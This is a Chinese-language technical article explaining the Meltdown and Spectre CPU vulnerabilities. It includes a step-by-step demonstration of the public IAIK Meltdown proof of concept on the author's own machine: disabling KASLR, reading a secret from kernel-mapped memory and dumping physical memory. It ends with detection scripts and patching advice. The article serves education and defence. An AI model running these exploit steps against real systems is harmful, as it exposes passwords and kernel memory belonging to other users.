概述

2018年1月4日,Jann Horn等安全研究者披露了"Meltdown"(CVE-2017-5754)和"Spectre"(CVE-2017-5753 & CVE-2017-5715)两组CPU特性漏洞。 据悉,漏洞会造成CPU运作机制上的信息泄露,低权级的攻击者可以通过漏洞来远程泄露(浏览器形式)用户信息或本地泄露更高权级的内存信息。

  • 实际攻击场景中,攻击者在一定条件下可以做到,
  • 泄露出本地操作系统底层运作信息,秘钥信息等;
  • 通过获取泄露的信息,可以绕过内核(Kernel), 虚拟机超级管理器(HyperVisor)的隔离防护;
  • 云服务中,可以泄露到其它租户隐私信息;
  • 通过浏览器泄露受害者的帐号,密码,内容,邮箱, cookie等用户隐私信息;

目前相关的平台,厂商,软件提供商都在积极应对该系列漏洞,部分厂商提供了解决方案。

影响范围

本次安全事件影响到的范围很广,包括:

  • 处理器芯片:英特尔为主、ARM、AMD,对其他处理器同样可能存在相关风险。
  • 操作系统:Windows、Linux、macOS、Android
  • 云服务提供商:亚马逊、微软、谷歌、腾讯云、阿里云等
  • 各种私有云基础设施。
  • 桌面用户可能遭遇到结合该机理组合攻击。

漏洞分析

CPU缓存验证缺陷

分支预测乱序执行,是一种CPU优化技术.

  • 老的CPU:CPU会执行一些可能在将来会执行的任务。当分支指令发出之后,在未收到正确的反馈信息之前,是不会做任何处理;
  • 新的CPU:可以预测即将执行的指令,会预先处理一些指令所需的数据,例如将下一条指令所需要访问的内存提前加载到CPU缓存中,这就避免了执行具体指令时再去读内存,从而加快了CPU的执行速度,具体流程如下所示:

1

指令3如果出现问题(如指令3是一个除0或者是一个非法的操作),会触发CPU的异常处理,具体情况如下: 2

对于具有预测执行能力的新型处理器,在实际CPU执行过程中,指令4所需的内存加载环节不依赖于指令3是否能够正常执行,而且从内存到缓存加载这个环节不会验证访问的内存是否合法有效。即使指令3出现异常,指令4无法执行,但指令4所需的内存数据已加载到CPU缓存中,这一结果导致指令4即使加载的是无权限访问的内存数据,该内存数据也会加载到CPU缓存中,因为CPU是在缓存到寄存器这个环节才去检测地址是否合法,而CPU分支预测仅仅是完成内存到CPU缓存的加载,实际指令4并没有被真正的执行,所以他的非法访问是不会触发异常的。CPU数据访问权限和地址合法性检查参见下图: 3

如上图所示CPU缓存的这个过程对于用户是不可访问的,只有将具体的数据放到CPU的寄存器中用户才可操作,同时用户态程序也没有权限访问内核内存中的数据,因此CPU采用这种逻辑是没有问题的,但是如果有方法可以让我们得到CPU缓存中的数据,那么这种逻辑就存在缺陷。

边信道攻击缓存

CPU缓存通常在较小和较快的内部存储中缓存常用数据,从而隐藏慢速内存访问的延迟,缓存侧信道攻击正是利用CPU缓存与系统内存的读取的时间差异,从而变相猜测出CPU缓存中的数据,结合前边的缓存缺陷部分内容,产生如下的结果: 4

简单来说,就是CPU缓存中的数据,在用户态和内核态都是无法正常访问的,除非当CPU缓存中的数据保存到寄存器中时,会被正常的读取;除此之外,是可以通过边信道的方式读取CPU的缓存的。 基于如上介绍的漏洞原理信息,通过CPU缓存验证缺陷,并利用边信道攻击技术可猜测CPU缓存中的数据,继而访问主机的完整内存数据,造成用户敏感信息泄露。

官方演示

演示

Linux环境下的开源POC演示

本演示基于Meltdown and Spectre所提供的开源演示代码IAIK/meltdown实现 本文以笔者的联想拯救者R720为试验机,搭载Ubuntu 17.04 Zesty Zepus系统,内核版本是4.10.0-42-generic,CPU型号是Intel(R) Core(TM) i7-7700HQ CPU @ 2.80GHz,在受到影响的CPU列表中。(实际上2010年后的几乎所有Intel芯片都收到了影响)

关闭KALSR

Q: 什么是KALSR? A: Kernel Address Space Layout Randomization:内核地址空间布局随机化,是参与保护缓冲区溢出问题的一个计算机安全技术。内核地址空间配置随机加载利用随机方式配置数据地址空间,使操作系统内核配置到一个恶意程序无法事先获知的地址,令攻击者难以进行攻击。

官方教程中虽然提到了通过meltdown漏洞破解KALSR的方法,然而在实际使用当中,寻找时间过长,所以我们选择关闭这个这个功能来进行下面的测试。这两种操作本质差别不大,有兴趣的话可以尝试破解一下。 首先在ubuntu终端下输以下命令:

$ grep GRUB_CMDLINE_LINUX_DEFAULT /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet"
$ sudo perl -i -pe 'm/quiet/ and s//quiet nokaslr/' /etc/default/grub
$ grep quiet /etc/default/grub
GRUB_CMDLINE_LINUX_DEFAULT="quiet nokaslr"
$ sudo update-grub

将nokaslr选项写入grub配置中,然后重启电脑。

设置CPU频率为最大性能

由于项目的需要,还有但核心运算时的性能问题,我们希望CPU以最高频率运行,所以我们在终端里输入:

$ sudo apt-get install cpufrequtils 
$ cpufreq-set -g perfomance //以最大性能运行
$ sudo cpufreq-info  //查看每个核心是否以大于3.4GHz工作,如果是进行下面的步骤

从源代码编译

首先解决编译依赖问题,对于Ubuntu系统,终端下输入:

$ sudo apt-get install build-essentials

然后将项目clone下来:

$ git clone https://github.com/IAIK/meltdown.git

进入项目文件夹,编译

$ cd meltdown
$ make

测试是否可以执行漏洞

运行test:

$ taskset 0x1 ./test

如果得到类似输出,则说明CPU存在这个漏洞:

Expect: Welcome to the wonderful world of microarchitectural attacks
   Got: Welcome to the wonderful world of microarchitectural attacks

破解KALSR

这里我们测试环境禁用了kalsr,但是在这里也提供破解的方式:

$ sudo taskset 0x1 ./kaslr

等待一段时间(1分钟到几个小时不等),可以看到类似的输出则说明成功:

[+] Direct physical map offset: 0xffff880000000000

关闭此功能的跳过这个步骤。(如果使用这个功能的话请复制输出的十六进制地址,在后续步骤中会用到,在本文中爱意篇幅不做详细介绍,请读者自行研究项目README)

可读性测试

运行reliability:

$ sudo taskset 0x1 ./reliability (0xffff880000000000)

这里的括号内容表示,如果我们的Linux已经关闭kalsr那么我们就可以省略括号中这个参数,下文相同 如果可以看到类似输出,也就是准确性大概大于百分之90,那么说明我们可以利用这个漏洞进行测试了:

[-] Success rate: 99.93% (read 1354 values)

读取内存测试

这部分是这个测试项目的核心,原理是运行一个存储着若干密码的程序,并返回其存储密码的内存地址。然后再利用这个漏洞非法访问这个内存地址获得密码的明文。这也就意味着我们的密码输入在这个漏洞之下变得透明,甚至黑客可以通过这个漏洞读取存储在chrome浏览器中的网站密码: 运行密码小程序:

$ sudo ./secret

我们会得到如下输出:

[+] Secret: If you can read this, this is really bad
[+] Physical address of secret: 0x390fff400
[+] Exit with Ctrl+C if you are done reading the secret

这时候我们要记下0x390fff400这个地址,不要停止程序,打开另一个终端:

$ taskset 0x1 ./physical_reader 0x390fff400 (0xffff880000000000)

不出意外我们会看到如下结果,下方输出的字符串来自于secret小程序中随机选择的一个密码串:

[+] Physical address       : 0x390fff400
[+] Physical offset        : 0xffff880000000000
[+] Reading virtual address: 0xffff880390fff400

If you can read this, this is really bad

https://v.qq.com/x/page/n1331oskfxn.html?start=3

转存内存

程序可以打印从任意位置开始的内存信息:

$ taskset 0x1 ./memdump 0x240000000 (0xffff880000000000)

上述表示从0x240000000开始打印内存信息,应该可以看到这样的输出:

2400001cf: | 00 00 00 00 00 00 00 00 00 00 00 73 00 00 00 00 | ...........s.... |
 2400001df: | 00 00 00 00 00 00 6c 64 00 00 00 00 00 00 00 00 | ......ld........ |
 24000022f: | 69 63 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | ic.............. |
 2400002af: | 00 00 00 00 00 00 00 64 00 00 00 00 00 00 00 00 | .......d........ |
 2400002df: | 00 00 00 00 00 00 00 6f 6e 67 00 00 00 00 00 00 | .......ong...... |
 24000069f: | 00 00 00 00 00 20 00 00 00 00 00 00 00 00 00 00 | ..... .......... |
 2400007cf: | 00 00 00 69 00 00 00 00 00 00 00 00 00 00 00 00 | ...i............ |
 2400008df: | 00 00 00 00 00 00 6f 00 00 00 00 00 00 00 00 00 | ......o......... |
 2400009ff: | 00 00 00 74 61 00 00 00 00 00 00 00 00 00 00 00 | ...ta........... |
 240000b8f: | 00 00 00 00 00 50 00 00 00 00 00 00 00 00 00 00 | .....P.......... |
 240000bcf: | 68 69 73 00 00 00 68 69 73 00 69 73 00 00 00 00 | his...his.is.... |
 240000d0f: | 00 00 00 00 77 65 00 00 00 00 00 00 00 00 00 00 | ....we.......... |
 240000e4f: | 00 00 00 00 00 00 00 72 00 00 00 00 00 00 00 00 | .......r........ |
 240000f9f: | 00 00 00 00 00 00 00 00 00 00 00 00 00 65 61 00 | .............ea. |
 24000124f: | 00 64 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .d.............. |
 24000129f: | 00 00 00 00 00 00 00 00 79 6f 00 00 00 00 00 00 | ........yo...... |
 2400012ef: | 00 65 00 00 00 00 00 00 00 00 00 00 00 00 00 00 | .e.............. |
 24000139f: | 00 00 00 00 00 00 00 00 00 20 00 00 00 00 00 00 | ......... ...... |
 24000160f: | 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6e | ...............n |
 24000161f: | 00 00 00 00 00 00 00 00 00 00 00 64 00 00 00 00 | ...........d.... |
 24000165f: | 00 00 00 00 00 00 00 00 00 65 00 00 00 00 00 00 | .........e...... |
 24000178f: | 00 00 6f 00 00 00 00 00 00 00 00 00 00 00 00 00 | ..o............. |
 24000179f: | 00 00 00 00 00 00 00 00 77 6f 00 00 00 00 00 00 | ........wo...... |
 240001acf: | 00 00 00 00 00 00 00 00 00 6f 00 00 00 00 00 00 | .........o...... |

如果可以探测Chrome等进程的地址,那么可以看到你的密码被打印出来。

漏洞检测

Windows

Windows客户,通过使用微软公司发布的检测PowerShell脚本,能够判断Windows系统是否受漏洞影响。

  • 首先,需要安装相应的PowerShell模块,对应命令:PS> Install-Module SpeculationControl
  • 其次,需要调用相应脚本,对应命令:PS> PS> Get-SpeculationControlSettings
  • 其中,开启的保护会显示为True,未开启的保护则会显示为False,如下图所示:

Windows修复]

Linux

参见开源检测项目Spectre & Meltdown Checker 将项目clone下来:

$ git clone https://github.com/speed47/spectre-meltdown-checker

进入项目文件夹,用管理员权限运行脚本:

$ cd spectre-meltdown-checker
$ sudo ./spectre-meltdown-checker.sh

Linux修复

结果一目了然

漏洞修复

目前以英特尔为首的公司已经陆续给出软件补丁,详细可以参考官网给出的Where can I find official infos/security advisories of involved/affected companies? Windows系统请尽快下载系统更新,Linux发行版请尽快更新软件,Android系统请及时接受官方OTA升级,嵌入式系统可以参考芯片官网公告进行修复。 同时建议用户在修复漏洞过后重新测试,并修改登录口令及相关的秘钥,电子钱包等。

资料下载

引用博客

http://www.freebuf.com/vuls/159269.html https://unix.stackexchange.com/questions/397939/turning-off-kaslr-to-debug-linux-kernel-using-qemu-and-gdb https://zh.wikipedia.org/wiki/%E4%BD%8D%E5%9D%80%E7%A9%BA%E9%96%93%E9%85%8D%E7%BD%AE%E9%9A%A8%E6%A9%9F%E8%BC%89%E5%85%A5 https://lwn.net/Articles/738975/ http://blog.csdn.net/ctthuangcheng/article/details/19411693